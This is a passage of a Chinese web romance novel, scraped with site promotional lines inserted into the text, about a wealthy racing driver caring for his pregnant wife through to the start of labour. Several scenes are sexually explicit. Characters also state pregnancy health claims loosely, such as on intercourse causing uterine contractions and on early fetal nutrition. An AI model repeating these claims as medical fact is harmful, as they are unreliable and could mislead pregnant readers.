容微月怔了下没想到他醒了:“我就是看看没有想吃……”
“口水都快流下来了
她脸颊泛红唔了声傅蔺征:“怎么这么笨饿了不和我说?自己刷视频能望梅止渴?”
“太晚了嘛我也舍不得吵醒你。”
“你这样睡不着我不是更心疼?你现在想吃什么?”
小姑娘抿唇脸上酿了两个酒窝小丸子声音温软如实道:“嗯……我想吃芒果西米露还有玉米猪肉蒸饺会不会太麻烦了?”
他靠近气音低撩:“你亲一口。”
容微月弯眉在他薄唇落下一吻随后男人起身勾起唇角神色拽懒张扬:“不复杂你老公什么做不了?交给我。”
说完傅蔺征便走去厨房打开冰箱发现芒果不新鲜了手机上外卖要等很久他没犹豫半秒立刻出门。
夜色凉凉街灯一盏盏亮着男人跑到小区门口的一家二十四小时便利超市挑了两个新鲜的后迅速赶回家。
他一边煮西米一边削芒果芒果很滑他手微微一打滑指腹就被划开一道红色渗出他皱了皱眉简单处理了下而后去把猪肉搅打成馅加入玉米、葱末和调味料。
这一幕若是被外人看到都会惊掉下巴身价千亿的明恒太子爷竟在深夜一点多的厨房里认真地给怀孕的妻子包饺子、煮甜品。
香气渐渐弥漫开来过了会儿他把食物端回房间就看到小姑娘抱着抱枕半靠在床头呼吸轻轻迷蒙的睡颜温软乖巧。
他走过去把托盘轻轻放到床头轻摸她头:
“宝宝吃的做好了还想吃么?”
容微月睫毛颤了颤迷迷糊糊睁开眼点点头声音甜糯:“嗯老公辛苦了……”
傅蔺征喂给她西米露又喂了她吃了个饺子小兔子闭着眼睛慢慢嚼着他看着她眼底晕开宠溺笑意:“怎么那么可爱啊宝宝睡觉香还是吃饭香?”
“
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吃饭香……睡觉也香……”
容微月吃了几个饺子就没了胃口困倦得上下眼皮打架:“老公谢谢你给我做了这么多好吃的可是我现在不饿了我好困可以先睡觉吗求求你不要生气……”
傅蔺征笑了:“我生气什么?困了不就应该睡?”
给她煮吃的就是怕她饿得睡不着
小姑娘脑袋蹭蹭他的颈肩迷蒙喃喃:“阿征我爱你。”
他心头柔软低声回应。
能有这三个字他做什么不是心甘情愿?
第二天容微月醒来看到他手上的伤口心疼愧疚傅蔺征却毫不在意只缠着她吻了会儿说这不过是又添了一个爱老婆的勋章而已。
在和付则承的聊天中对方也告诉他孕妇的情绪也和另一半的照顾有关。
的确如此在傅蔺征的耐心照顾下容微月怀孕初期状态很好她一直以为自己没有什么大反应谁知道不是没有而是时间还未到。
查出怀孕第三周孕吐就来了。
早晨吐中午吐晚上吐喝水吐吃饭吐闻到不喜欢的味道也吐根本控制不住。
她被这肚子里的小家伙折腾得没办法去工作室只能待在家里傅蔺征看着心疼把车队和集团的事安排好尽可能陪她。
第一周人都是昏天黑地的第二周才勉强好点但早晨醒来还是容易吐。
她就跑去卫生间傅蔺征紧跟其后看到她脸色发白眼睛红着眼跟小兔子似的。
“月月……”
他眉峰拧起抚着她背难受得心间揪起。
“没事吐完就好了……”
傅蔺征递来温水喂她漱口俯身擦掉她嘴角的水渍:“好点了么?我抱你回去?”
她吸吸鼻子点点头傅蔺征公主抱她出去让她坐到床上:“宝宝你血糖太低了才会吐吃点东西好不好?”
她瘪嘴:“我只想喝青橘汁再帮我拿一小块面包吧……”
“好。”
这几天容微月什么味道都不喜欢唯独还喜欢青橘家里买了很多青橘傅蔺征还切片做成冻干放在罐子里以备不时之需。
如今不能为了肚子里的宝宝硬逼着她吃些有营养的东西而是她想吃什么就吃什么能吃下去是第一位。
他去厨房小姑娘洗漱完缓了点走出去站到体重秤上傅蔺征走来看到脸色更沉:“88斤。”
唔……
傅蔺征叹气:“宝宝婚后两年我白养你了怀孕两个月全给我瘦回去了。”
他要心疼**
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她抱住他脖子,软声道:“没事,后面我就胖回来了,怀孕初期体重会下降的……
傅蔺征把她抱回卧室,又转身去拿面包,回去的时候就看到小姑娘抱膝靠在床头,黑发散落在身后,整个人小小的一团。
从前她再怎么生病,都没有现在这么疲惫。
他走过去,喉结滚动:“宝宝,来吃点东西。
“嗯……
男人把她抱到怀中,给她喂着青橘水和面包,小兔子嚼得很慢,吃了几口就说吃不下去了,傅蔺征也没强逼她多吃,万一吐出来刚才就白吃了。
把东西放到床头,他把她搂进怀中,低头看她,哑声问:“很难受是不是?
她脑袋靠在他颈窝,点点头,男人亲了亲她额头,嗓音沉哑:“我后悔了。
她仰眸看他,“你后悔什么?
“后悔我们不应该这么快要孩子的,你身体本来就不好,应该要再好好调理一段时间的。
“那当时我们都不知道嘛,而且早孕反应怎么着也逃不掉,容微月温柔抚着小腹,笑颜乌浓,“你可不能这么说,到时候小家伙听到了还以为我们不欢迎他呢。
傅蔺征勾唇,大掌覆盖她的手,低柔道:“小祖宗,我们都盼着你来,但是你可得乖点,别再让你妈妈难受了,她已经很辛苦了。
容微月叹气:“其实我也担心自己这几天都没怎么吃东西,也一整天昏昏欲睡的,你说会不会影响宝宝发育?
她摸摸自己的脸,“我还长了两颗痘痘了呢,我高中都没长过……
傅蔺征笑:“长痘怎么了?还是很漂亮,完全不影响我老婆的顶级颜值。
她压下唇角,“你就嘴甜吧……
他认真道:“你穿校服的时候漂亮,穿婚纱的时候也漂亮,现在也很漂亮,每个时期都有不同的美,只要是你,我都喜欢。
傅蔺征揉着她肚子,“感觉到昏昏欲睡很正常,你现在的身体要负担两个人,现在小家伙在慢慢长大,所以你会觉得疲惫。
容微月轻轻点头,男人把她圈在怀中:“孕早期你不需要担心你吃得少,小家伙对营养的需求相对小,可以从你的血液直接吸收,你能吃多少吃多少,不用强逼自己。
他摸摸她的脸颊,一句一句格外温柔,给她最温暖的劝慰:“你是第一位,你永远比宝宝更重要,要先照顾好自己,知道么?
傅蔺征是她最好的引导性爱人,她****躁躁的心被抚顺了,暖心点头:“等熬过这段时间就好了。
男人温柔的吻捕捉而下,封住她的呼吸,她半躺下来,半晌他停下,黑眸牢牢锁定她,哑声道:
“怎么那
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么甜,一整天都想亲你。”
她面颊羞红,他的气息再度覆上来,温柔绵缠,她也阖上眸,圈住他脖子。
半晌他堪堪停下,心底躁气攀升,喘着搂住她:“不能亲了,不然又想要了。”
都好几周没碰她了,婚后他就没这么素过。
她耳根泛红,心头也爬上蚂蚁,小声道:“我也好想要……”
和他在一起后,她的胃口也慢慢变大,好喜欢和他做最甜蜜的事。
傅蔺征心底烧得更甚,倾身再度笼罩住她,用吻来缓着两人心底的渴,沉沉呼吸,低声蛊道:“再忍忍,等过了前三个月就来,嗯?”
她脸埋着,想了想又推开他:“那你不许抱着我,离我远点,我们先保持距离。”
傅蔺征扯唇不松手,“本来就做不了,抱都不让抱,你想弄疯老子?”
她不禁弯眉,“那你ying了不是很难受么?”
他视线落向她红唇,黑眸晦暗,浑懒道:“实在不行只能宝宝帮帮我了。”
她对上他的眼神,脸颊从里透出胭色:“傅蔺征,你、你过分……”
他笑了,哑声道:“逗你的,老子平时让你舌忝过几次了?你现在都这么难受了,动不动就吐,我能舍得?”
傅蔺征虽然在这方面格外浑,坏花样很多,但是他是服务的那一个,从高中到现在,都是他主动为她且乐此不疲,基本不让她来,有时候太疯,兴致实在压不住,会让她亲一下。
他太过恐怖,她嘴巴又太小,不想让她难受,基本上没多久他舍不得就立刻出来了,她感受比他的快乐重要。
之前有次,小姑娘也不解,忍不住问:“是不是我不会,所以你不喜欢……”
傅蔺征都要炸了,咬着她唇,热狗送进面包里,给她最满足的爱意,喟叹:“宝宝,你知不知道你she头多软,我不用教你就好打转好会吸,老子没两分钟就想交了,我这叫不喜欢?”
她紧紧抱着他,脸红,傅蔺征吻她耳垂:“是怕你不舒服。”
她羞赧,其实傅蔺征那儿都有剔,而且他长期锻炼,饮食又健康,格外干净清爽,唯一的不好就是和她的小嘴巴反差太大……
回忆浮上心头,她心口乱跳,轻哼:“我以为你认真的呢。”
傅蔺征掌心按住她腰窝,吻着她耳垂,浑坏道:“两边嘴巴都太小了,怎么办啊,每次吞咽都困难。”
她咬唇,“现在习惯了,小月亮一口能吞下去……”
傅蔺征和她吻得气息乱杂,坏得明目张胆:“那谁每次一开始吞就掉眼泪啊?老子要不缓一会儿,你没三分钟就到了。”
想到从前,她羞得把脸埋起来,心头发痒,“不许
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
你再说了……
婚戒到深海探险,傅蔺征悠然揶揄:“是不能说了,宝宝你都成这样了。
这人……
最后她靠在他怀中,两人都缓了情绪,耳鬓厮磨了会儿,小姑娘有些困,傅蔺征就让她躺下来继续睡觉,他就在旁边一边处理公事一边陪她。
好在过了这段时间,她的孕吐反应慢慢减轻,能吃下清淡的东西,唯独厨房仍是禁区,哪怕一点油烟味都能让她反胃,傅蔺征让她远离厨房,有什么需要他和家里的阿姨都会帮她。
呼呼似乎也听懂了之前傅蔺征的嘱咐,这段时间都很乖巧,没有乱蹦乱跳,总是安静地趴在容微月脚边,偶尔伸出爪子轻拍她的腿,像在关心她情况。
有时容微月倦了靠在沙发上,呼呼就在她旁边蜷成一团,成了她的小暖手宝。
她的身体一点点调养着,气色也好起来,双方长辈也经常来家里看她陪她聊天,让她放松心情,她偶尔也可以去工作室处理些轻松的事务。
工作室的成员都知道她怀孕了,怕车间有辐射,都不让她进去,大家工作仍然井井有条,她就负责一些大合作案的拍板。
而傅蔺征这边,九月份有场比赛,因为小姑娘怀孕,他让她好好休息,不用陪他同去。
比赛前训练了一个月,比赛时正近中秋节,傅蔺征从初赛到正赛一路领先,正赛那天他不负众望,以强势实力摘得桂冠,引得全场沸腾,粉丝激动欢呼。
赛后采访,记者问傅蔺征比赛完最想做的事,男人戴着鸭舌帽,黑眸化开一抹笑意,嗓音吊儿郎当:
“当然是回国,陪我太太和宝宝一家三口过中秋。
记者诧异:“宝宝?!
傅蔺征眉梢挑起,对着镜头向全世界公布:
“嗯,月月怀孕了,明年我就要当爸爸了。
全场氛围热烈,谁不知道傅蔺征有多爱太太,记者团中响起掌声,大家连连为他道喜,有人笑问:
“傅先生,您有期待过这个宝宝是男孩还是女孩吗?
傅蔺征转着婚戒,唇边溢出一丝的笑:“男孩女孩都好,都喜欢。
他停顿了下,悠悠然补了一句:“不过,大概率是个小公主。
大家热烈道喜,采访结束,傅蔺征和车队打了招呼,先回国,大家知道他念妻心切,都理解。
几个小时后,飞机落地京市。
中秋节的晚上,容微月刚和两方父母家庭聚餐完,又来工作室处理个紧急事件,谁知就听到窗外一阵引擎的低沉咆哮声。
转头看去,一辆银黑色的帕加尼稳稳停在门口,男人下了车,怀中抱着一束冰淇淋桔梗,肩宽腿长,周正拓落,踏着月色而来
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她怔
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了下,琥珀眸子亮起,起身立刻走出工作室,就看到傅蔺征朝她而来。
她快步跑过去,傅蔺征抱住她,嗓音化开柔意,“月月,中秋节快乐,我回来了。”
她抱住他,杏眸温热:“你怎么回来了,你不是才比赛完吗……”
男人笑着搂住她,“中秋节不得回来赏月?”
“可月亮在国外也能看到呀。”
傅蔺征勾唇揽住她,在她红唇落下一吻:“这是我的月亮。”
容微月弯唇,心头怦然跳动,仰头看他:“嗯,是独属于你的小月亮。”
傅蔺征不顾及在外面,忍不住扣住她后颈,将她锁在怀中,俯身落下炽热的吻。
携着千里奔波后的思念和爱意,末了她轻哼,他停下:“害羞了?等会儿回家再亲。”
她眸光盈盈羞赧抱过花,牵着他走进工作室,她也知道了他拿了分站冠军的消息:“我还以为你还要在国外庆功完才回来呢,没想到你把车队的人抛弃了。”
傅蔺征拽懒道:“庆功无所谓,我拿冠军也是常态了,而且中秋一家团圆,我老婆和宝宝在国内,我怎么舍得不回来。”
容微月笑,“你回来了,一切就圆满了。”
她今天穿了一件浅米色的连衣裙,走动时裙摆轻轻摆动,隐约能看出小腹那抹微圆的弧度,傅蔺征注意到,心潮掀起波澜:“之前还是平平的,现在竟然有点隆起了。”
“对呀,小豆芽慢慢长大了,你摸摸?”容微月莞尔。
傅蔺征俯身,掌心贴上她的小腹,温热透过指尖传来,像是血液相连般,他心脏跳快,呼吸微颤。
随后他轻轻在她肚子上落下一吻,笑:“乖点,在妈妈肚子里慢慢长大。”
忙完事情,傅蔺征带容微月回家,抱她去洗了个澡,躺倒床上,他温柔地给她涂着妊娠油,容微月刷着手机,震惊:“傅蔺征,我们上热搜了……”
热搜上,是傅蔺征宣布容微月怀孕的采访,还有刚才俩人在工作室门口拥吻被路人拍到了照片,发到了网上。
评论区激动地嗷嗷叫:
【啊啊啊恭喜!!小宝宝来啦!难以想象这两位的颜值生出来的宝宝能有多好看!】
【爸爸是世界冠军车手,妈妈是非遗传承人,小宝宝不知道以后要遗传父母什么天分,肯定很聪明啊。】
【傅蔺征公开月月怀孕的消息,感觉比拿冠军还开心幸福哈哈哈,双喜临门!】
【老婆比庆功重要,说回国真回国了,征月cp是真的我已经说累了!】
【能看得出来月月肚子有点隆起耶,月月要好好休息,希望宝宝顺利健康出生。】
容微月羞赧给他看,傅
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
蔺征神色悠然,压下唇角:“我也没留意呢,谁知道又当众秀恩爱了。
这叫没留意啊?
“我都不知道你公开了有宝宝的事。
“现在过了三个月,宝宝稳定了,而且外界也迟早要知道,我都憋得够久了。
傅蔺征向来高调,忍到现在都不容易。
容微月笑笑,把今晚和傅蔺征在客厅落地窗前吃月饼的照片发上去,道:【谢谢大家的祝福,我和傅先生也祝大家中秋快乐,甜蜜团圆~】
评论区瞬间被祝福淹没,末了容微月看向傅蔺征:“阿征,我希望我们的宝宝一出生就会拥有很多爱的,我想当个好妈妈,让他从小就无忧无虑,不要像我小时候一样。
傅蔺征把她抱进怀中,在她额间落下一吻,心疼道:“当然,我们会给他很多很多的爱,同样的,我和宝宝也会很爱你,你也会拥有更多的爱。
肚子里的小豆芽一天天慢慢长大,三个月时,两家人和傅蔺征第一次陪着容微月做正式产检。
检查后显示容微月身体各项指标都正常,她原本虽然体质差,但这几年在傅蔺征的照顾下,她的身体慢慢好了起来,如今气色红润,连医生都笑着夸她状态好,宝宝也很健康。
如今肚子里的小家伙慢慢长开了,也渐渐能听到外面的声音。
早晨容微月醒来,看到傅蔺征抱了一大箱书回来,科学、美术和文学种类应有尽有,她诧异:
“傅蔺征,你也太恐怖了,宝宝这么快就要开始德智体美劳全面发展了?
傅蔺征语调施施然:“现在就可以胎教了,我妈说了当初怀我的时候,就特别注重我的胎教,难怪我现在双商都这么顶尖呢。
“?
容微月笑:“我觉得你应该先教宝宝和你有一样的厚脸皮,让他自信又强大,这样多好。
傅蔺征轻笑揉揉她头:“怎么着?我俩的孩子出生了还能自卑的了?从小众星捧月的,别说我们,就咱们两家的父母肯定都把他疼上天了,不缺钱也不缺爱。
傅蔺征把箱子里的书拿出来,容微月接过,看到是《给小公主的音乐胎教》《安徒生童话》《和女儿一起看世界》《当最美的小公主》等等。
???
“这怎么都是给女儿的?
傅蔺征:“我第六感向来很准,你肚子里大概率就是女孩。
容微月不禁笑,“就因为我最近爱吃辣啊?
“这也算是个重要指标吧。
“那万一是个男孩子呢?你这到时候胎教方向都偏了呢。
傅蔺征又拿起一大摞,“我傅蔺征做事是那么不谨慎的人么?为保万一,给小男孩的我也买了,比如《
听说看这本书的人都是很幸运的,分享后你的运气会更棒
海底两**》《野外小侦探》《如何开着赛车在沙漠奔跑》《机械原理入门图画书》《顶天立地男子汉》。”
好家伙女儿的就各种梦幻童话故事儿子就直接让他当野外小侦探了……
她哭笑不得:“傅蔺征你怎么那么偏心啊?”
傅蔺征正儿八经道:“不管是男是女这些书都能看说不定女儿喜欢赛车儿子喜欢童话书呢?反正老子都给读了自由发挥只要开开心心长大就好。”
容微月含笑对上他的目光也认同他这说法。
就这样傅蔺征开始了“胎教事业”拿着绘本和故事书每晚他都讲给小家伙听时间由秋入冬小家伙在容微月的肚子里渐渐长大腹部隆起的弧度越来越明显。
容微月现在被养得很好胃口也变得好起来会比平时吃得多一些。
这是好事现在傅蔺征和家里的厨师营养师换着花样给小姑娘安排健康的美食她爱吃大家就开心。
傅蔺征也从来没有缺席过容微月的每一次体检都陪着她所有关于她的事都是第一要紧情况。
十一月初某天早上傅蔺征和盛柳陪容微月去医院做了大排畸结果一切良好从医院出来后盛柳叮嘱几句去昆曲馆傅蔺征低柔问容微月:
“小猫要不要跟我去集团?在我办公室待着。”
容微月眨眨眼眸光亮起:“可以吗?会不会打扰傅总上班呀?”
傅蔺征笑揽住她:“影响什么欢迎总裁夫人随时莅临指导。”
于是傅蔺征带她去了集团进了大楼男人一身灰色长款风衣眉眼深邃冷厉而他搂着的容微月一身高定的浅驼色针织衫搭配长裙披着温软披肩乌发红唇身段窈窕一张小猫脸仍旧明媚动人。
大家看到惊叹男帅女美又被傅总和夫人的顶级颜值惊艳到了!!
自从公开婚事后容微月偶尔会来集团大家都知道傅总有多宠妻俩人也恩爱得羡煞旁人。
通过专属电梯到大厦顶层总裁办员工们激动问好容微月也给大家准备了热饮和甜品众人欢喜不禁私下感叹:
“总裁夫人好漂亮啊
“呜呜呜她刚才笑着把蛋糕递给我那一刻我的心脏被击中了我是女孩子我都沦陷了。”
“我终于知道为啥之前董事长给傅总介绍那么多千金小姐他一个都不见了这初恋谁能忘得掉啊。”
“傅总眼睛全程黏在老婆身上也太宝贝了!”
另一头傅蔺征带小姑娘进了办公室给她冲了杯热红枣水又从柜子里拿出那双备给她的柔软拖鞋半
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第 72 章 “阿征,我们的孩子出生了。”...
第72章第七十二章
【“阿征,我们的孩子出生了。”】
chapter68
傅蔺征这句低蛊,就像在很饿的小猫咪面前晃小猫条似的,格外勾心。
容微月怔了下,心口轻颤,耳根一点点泛红,像落入蜜色灯光的一抹薄霞,嗔他:“傅蔺征,你别胡闹,等会儿被人知道了……”
傅蔺征身形高大,硬朗肌肉在黑衬衣下贲张,虽然她肚子有了弧度,但他一只手臂几乎还是能环住她的腰,让她整个人都陷进他怀里。
容微月在男人臂弯里显得娇小,肩头不过到他胸口的位置,他强有力的心跳在耳边扑通扑通,身躯热度一点点袭来。
傅蔺征掌心漫游,嗓音擦过她耳侧:“谁会知道?没人进得来。”
他气音低低:“而且宝宝,这里隔音很好,你想怎么叫都可以。”
这人……
她口是心非:“才不要呢……”
谁知道傅蔺征压根没打算放过她,婚戒顿时淹没裙摆,掌心薄茧如带电,容微月手抵着办公桌,眼睫如蝴蝶煽动翅膀,小猫叫从红唇泻出。
他吻她耳垂,哑声再度发问,小猫咪到底还是跟随内心最真实的想法:“要……”
傅蔺征手臂绕过她细腰和膝盖窝,立刻打横抱起,走去里头的休息间。
怕压到她肚子,男人靠在床头,把她抱在怀中,容微月勾住他脖颈迎上来,傅蔺征低笑:“宝宝这么饿啊?好主动。”
容微月眨着眸子看他,小野猫的劲头上来,也不怕:“嗯,好饿……”
他眼底暗暗:“昨晚没让你饱么?”
“那你饱了么?”
傅蔺征黑眸浓烈注视着她:“就一次,老子都没开胃,你说饱了没?”
过了孕早期后,容微月和傅蔺征压根忍不了一点,又恢复了那方面的生活,小姑娘怀孕后也很黏他,只是怕她不舒服,傅蔺征比之前的频率降低了很多,每次足够缱绻,但不能彻底尽兴。
容微月闻言咕哝:“老公忍得辛苦了,都说孕期对男人考验很大,随时有可能外面飘小彩旗。”
傅蔺征气得夺走她气息,惹得她呜哼,他道:“哪来的彩旗?我只喜欢我老婆,只想跟我老婆做,其他人我都不感兴趣。”
她莞尔讨饶,他哑声道:“反正你现在欠我的都记着,等到孩子出生后再找你补回来。”
极尽温柔,世界陷入柔软,半晌她迷蒙中,看到男人起身打开抽屉,拿出了还未开封的。
容微月微愣:“你什么时候备的?”
“上个月你来找我之后。”
当时傅蔺征把小姑娘压在休息室亲,情绪来得太烈,两
人都有点出乎意料,可偏偏这里没备雨伞。
孕期容微月免疫力下降,如果不用的话,芝士可能会引发她的炎症,甚至会引起子宫收缩,为了她的健康,傅蔺征只能堪堪急停,第二天就拿了一盒放过来。
她脸红怦怦:“原来你是蓄谋已久的……”
“嗯,这不是终于等到小兔子来了?”
小兔子侧躺下来,男人宽大的身躯将她面对面锁在怀中,掌心锢住她纤细的膝盖窝,抬起搭在他身上,让她最轻松。
眼前的人和爱意让时间都慢下来,满心满眼都只剩下他,她葱白指尖抵着他硬朗的胸膛,眼尾泛起泪花,如点缀嫣红。
“喜欢么,嗯?”他垂眼看她,浑坏,“宝宝你真的好小只啊,跟小猫似的。”
体型差带给男人的,就是绝对的掌控和压制感,傅蔺征高中刚把她圈在怀中索吻的时候就感觉到她好娇小,她咬他打他都逃不了,轻而易举就可以把她送入云朵海。
容微月喜欢也害怕,有时候实在觉得悬殊,都有些后悔自己一选就选了这么一个顶配的男朋友,也太恐怖了QAQ.
此刻她吸了吸鼻子,娇声道:“傅蔺征,你不能太xiong,等会儿伤到宝宝了……”
傅蔺征沉沉呼吸,好想如从前般,可她和小宝宝是第一位,他不敢,吻她鼻尖的汗珠,低哄:
“好,宝宝你来指挥好不好?全听你的。”
午后的阳光愈发明亮,穿过半卷的日月帘,在地面投下一片碎金。
空气里浮动着雪松与青橘的清甜,若有似无,像是轻风搅动的香气。
窗边的龟背竹叶面闪着微光。
阴影被日光一点点推移,静谧而温柔。
顾及着容微月和宝宝,傅蔺征抱着她一起坠落情网,落下沸沸热热的吻。
小猫咪懒洋洋靠在他肩头,傅蔺征吻掉她泪珠,轻拍着她背,轻笑:“还好么?”
容微月撒娇:“好喜欢……”
她整张脸红通通的:“为什么比怀孕之前还、还……”
傅蔺征勾唇,给她科普:“正常,因为你现在怀孕了,雌激素和孕激素升高,骨盆区域的血液循环增强,所以格外明显。”
加之他本来就很会,都以她为主,所以小姑娘没觉得疲惫,反而更愉快,她柔柔软软看他,小声问:“那你喜欢么?好像不够?”
“再够下去你受得了么?”他低声落在她耳畔,“只要是和你,每一次都是shuang的。”
他虽然重谷欠,但绝不是看到女的就想,他只对她很强烈,只要是她,单从心里层面,对他来说就完全足够,他只是想哄她开心,而不是为了发泄自己的念想。
两人耳
鬓厮磨半晌,她发觉什么,脸红心跳:“傅蔺征,我真不行了……”
“谁让你行了?缓缓就好了,”他低声哄,“过来再让我亲一会儿。”
绵绵柔柔,吻得满了甜蜜,半晌傅蔺征起来,她懒洋洋跟只八爪鱼一样挂在他怀中,仍由他伺候。
二十分钟后,从浴室出来,傅蔺征给她穿好衣服,又套上袜子,动作耐心得像在对待一件易碎的宝贝。
这人,只要不是在吃肉的时候,都挺温柔的。
傅蔺征看了眼时间,都快一点半了,她还没吃午饭,愧疚问:“饿不饿?”
“现在有点了……”
“我让怀裕把餐送进来。”
她含笑调侃:“傅总,你不饿吗?一个早晨又是脑力劳动又是体力劳动的。”
他挑眉,“饿什么,刚刚不是吃了?”
容微月压下红唇轻哼:“你这样沉迷美//色,下午都没精力处理工作了……”
傅蔺征抱她出去,浑音落在她耳边:“嗯,到时候开会时满脑子都是和你做/.爱的场景,是么?”
她耳根爬上红晕:“你别胡闹,到时候真没心思处理工作了……”
男人挑唇,“逗你的。”
坐到外面沙发上,很快怀裕敲门进来,把提前点好的午餐送进来:“征哥,这菜我又热了一遍,口感要不好我再点一份新的,主要刚刚十二点半以为您和嫂子要吃,我就提前加热了。”
“没事,”男人语气懒淡,“刚刚因为月月想睡觉,我陪她睡了会儿。”
容微月:这人……
怀裕也没多想,还以为夫妻俩感情好,含笑就离开了,容微月羞扯身旁人的袖子:“傅蔺征,你能不能别乱说话?”
男人挑眉,“怎么,我刚刚说的不是事实?我不是陪你睡了会儿?”
此睡明明非彼睡……
傅蔺征坐到沙发上,把气鼓鼓的小姑娘抱在怀中,打开餐盒,含笑低哄:“宝宝,喂你吃饭好不好?再不吃你和小家伙都要饿肚子了。”
她的确饥肠辘辘了,“勉强同意你喂一下。”
傅蔺征夹了一筷子,含笑道:“第一口,你爱吃的,青椒炒牛肉。”
容微月配着米饭嚼着,好吃得眉眼弯弯,傅蔺征又夹第二口:“宝宝,第二口,香炒猪肝。”
她瘪嘴,“我不怎么爱吃猪肝。”
“你肚子里的小家伙爱吃,我喂给他吃。”
“……”
容微月为了孩子,乖乖吃下去,而后第三口是她爱吃的,第四口又是她没那么爱吃的。
她逐渐发现了:“傅蔺征,你故意的吧?说小家伙喜欢,明明就是想哄我吃。”
傅蔺征唇角浮现弧度:“你那么挑食我不
得这么说?这样才能营养更均衡。”
现在她的菜单都是营养师为她定制的,她真感觉自己被当成小兔子喂了,压下唇角:“行吧,那我努力多吃点,你也多吃点……”
两人饱餐一顿,午饭后,傅蔺征又细心给她准备了维生素,煮了一壶养生茶,她靠在他怀中看书,他陪了她会儿去开会。
孕后的每天,都是这样温馨而甜蜜。
时间不断往前,进入十二月。
容微月肚子愈发隆起,到了孕晚期,以居家安胎为主,她线上处理些工作室的事务,偶尔也会直播,配合新剧的饰品宣传,也和粉丝分享着日常生活。
每次直播时,傅蔺征都陪在她身边,镜头偶尔扫到他,就看到他在给容微月准备水果,披外套,倒牛奶,调整摄像机角度,全方位护着。
大家看到容微月状态还是很好,脸上笑容满满,直播间都好磕:
【婚后有没有爱一眼就看得出来,月月肉眼可见的幸福开心啊,被养得好好。】
【怀疑征哥眼里只有月月,周围一切都是打马赛克的哈哈哈。】
【老婆脑是这样的,傅蔺征还是爹系老公,太宠月月了,如果生个女儿那也是女儿奴了哈哈。】
【月月感觉整个人现在好柔软,这是有足够的爱和安全感啊。】
傅蔺征如今照顾小姑娘的确细致到方方面面,而且孕晚期容微月身体负担越来越重,时常要被肚子里的小家伙折腾。
有天半夜,她睡着,突然一阵疼痛传来,她倒吸一口冷气,身旁的傅蔺征立刻醒来,担忧看她:
“怎么了,宝宝,哪里不舒服?”
她拧起细眉,“左腿……又抽筋了……”
傅蔺征立刻俯身,托住她的脚踝,一手往前按住脚掌,另一只手温柔揉着她的小腿:“放松,慢慢呼吸。”
容微月额头冒出细细的汗,小口呼吸着,随着他的按摩,痛感一点点褪去。
傅蔺征柔声问:“还疼吗?”
“好多了,缓过来了……”
傅蔺征倾身而来,拿纸巾给她擦汗,看她憔悴的模样,心疼得不行:“宝宝辛苦了。”
“没事,”她叹叹气,“再熬熬就好了,快卸货了……”
傅蔺征亲亲她脸颊,她也觉得他好辛苦:“刚刚你怎么那么快就醒了?”
他摸摸她头:“现在不敢睡太死,怕你半夜不舒服,你难受第一时间要叫我,知道么?”
这段时间,她夜里常常难眠,他也跟着失眠,她稍微一动,他就下意识醒来。
容微月点点头,感觉到肚子里的宝宝在动,似乎也在翻身,“它好像在踢,你摸摸?”
傅蔺征伸手覆盖着那隆起的温热,感受
到动静,眼底晕开柔意:“大晚上又开始闹腾了。”
容微月笑意浅浅,眼神温柔:“你每次摸,他都爱动,好像知道是爸爸。”
傅蔺征挑眉,唇角微扬:“那肯定认他爹。”
她看着肚子,莞尔感叹:“宝宝,为了迎接你的到来,妈妈好辛苦,爸爸也好辛苦呀,但是为了你,我们都愿意。”
柔柔的月光透过落地窗洒进来,傅蔺征在她肚子落下一吻,低沉道:“小祖宗,你现在要乖点,让妈妈轻松点,等出生了再折腾你爸。”
容微月酒窝点起,靠在傅蔺征怀中,慢慢入睡。
如今随着月份越来越大,俩人也暂时从棠华府搬去了市中心的傅家别墅,这里离生产的医院最近,霓映枝和几位阿姨们一起照顾容微月,盛柳和容承业也三天两头来探望。
还有朋友们也经常来看她,都提前买了好多给宝宝和给她的东西,大家给予容微月满满的关爱,本来到孕后期孕妇因为身体疲惫,心情也比较脆弱,但是她情绪格外稳定,丝毫没有焦虑,整个人柔和又平静。
怀着对小生命的无限期盼,大家又度过一个新年。
二月底,天气乍暖还寒,春风拂面,容微月的预产期终于临近了。
那天午后,容微月原本正在餐厅看霓映枝给她做红豆圆子汤,婆媳俩正开心聊着天,忽然她感受到什么,神色一变,眉心蹙起。
“妈……”她手扶着肚子,深吸气,“好像我宫缩了……”
霓映枝一愣,连忙走过来:“提前发动了?”
本来容微月的预产期在下周,他们打算后天去医院待产的,可竟然提早了。
霓映枝立刻冷静下来,叫来全家的阿姨,大家都提前被交代过,又是备车,又是拿待产包,又是联系医院,紧锣密鼓却不慌乱。
很快出门上车,霓映枝握住容微月的手,如同妈妈陪着女儿,给予她温暖:“月月别怕,妈在呢。”
霓映枝冷静去通知各方人,与此同时,傅蔺征在车队开会中,接到电话,眉峰锁起,猛地站起身:
“我先走,月月要生了。”
大家激动:“征哥那你快去!”
“嫂子第一要紧!剩下的你不用操心了!”
傅蔺征快步冲出了会议室,几乎是飞奔上布加迪,他迅速启动车子,猛兽咆哮的引擎声响起。
超跑如鱼贯出,飞驰冲下山路。
很快,那头再度打来电话,傅蔺征迅速接起,容微月的声音传来,虚弱却温柔:
“阿征,你别着急,妈和阿姨们已经陪我去医院了,你慢点开车,不许飙车,听到没……”
小姑娘太了解他此刻有会多着急心慌,忍着痛苦也打电话嘱
咐他。
她额头滚落汗珠,声音轻轻:“阿征,马上我们就要和宝宝见面啦,我知道你很担心很着急,但时间来得及,你慢慢来。”
傅蔺征松了点油门,出汗的手心紧紧捏着方向盘,低哑应了声:“我知道了宝宝。”
“我和孩子都没事的,”她气音柔软,“只有我的阿征平平安安,我才能安心生产。”
傅蔺征眼底滚热发红,紧绷的心慢慢平复下来:“好……你等我。”
山路上,阳光斜照,车身掠过疾风。
他目光沉稳目视前方,紧握方向盘。
一路上,身为世界冠军的他比在比赛中还要高度集中注意力,四十分钟后稳稳抵达医院。
在病房里,容微月在等待开指,两家父母都到了,看到傅蔺征冲过来:“阿征终于来了!”
男人冲进病房,第一眼看到躺在床上的她,牢牢握住她的手:“月月,我来了。”
容微月看到他,整颗悬着的心才落地,眼眶微湿,提起唇角:“嗯,你在我就不害怕了……”
他亲亲她手背,哑声道:“我都会在。”
容微月先是被推去做检查,在开到三指之后就打了无痛,傅蔺征在床边守着她,低声问:“好点了吗?”
她点头,呼吸平稳许多:“好多了,感觉活过来了……”
傅蔺征喂她吃了点东西补充体力,现在还得继续开指才能进产房。
